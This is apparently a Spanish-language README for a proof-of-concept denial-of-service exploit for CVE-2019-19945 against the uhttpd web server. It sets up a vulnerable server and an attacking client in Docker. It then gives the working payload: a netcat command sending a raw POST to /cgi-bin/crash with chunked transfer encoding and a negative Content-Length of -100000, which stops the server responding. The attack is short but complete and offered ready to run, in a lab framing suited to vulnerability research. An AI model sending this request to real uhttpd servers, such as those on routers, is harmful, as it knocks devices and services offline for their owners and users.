
Exploit de prueba de concepto para CVE-2019-19945, que demuestra un ataque de denegación de servicio contra uhttpd mediante una solicitud POST manipulada con un encabezado Content-Length negativo.
Este es el código para la primera CVE propuesta.
Instalar Docker
Construir y ejecutar servidor cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
Obtener la IP del contenedor del servidor Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" Extraer la IP y agregarla al comando para construir el cliente Puedes verificar el servidor yendo a localhost:80 en tu navegador
Construir y ejecutar el cliente al descomentar el CMD en el Client/Dockerfile, el ataque comenzará automáticamente con el inicio del contenedor cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
Adjuntarse al contenedor del cliente Docker docker container ls find client/cve container && attach docker exec -it /bin/sh
Cuando esté listo, lanzar el ataque ./crash.sh
El servidor no podrá responder
Realmente no es útil proporcionar código fuente comentado ya que el exploit es muy corto
El exploit consiste en usar Netcat y enviar una solicitud POST con un Content-Length negativo grande al servidor con respecto al manejo de archivos en el directorio cgi-bin/
La ejecución se realiza usando un simple script de netcat. Aquí se hace referencia a un archivo en la carpeta CGI-bin del servidor llamado Crash nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
El mayor problema fue tratar de conseguir que las versiones antiguas de uhttpd se ejecuten en un entorno Docker actualizado.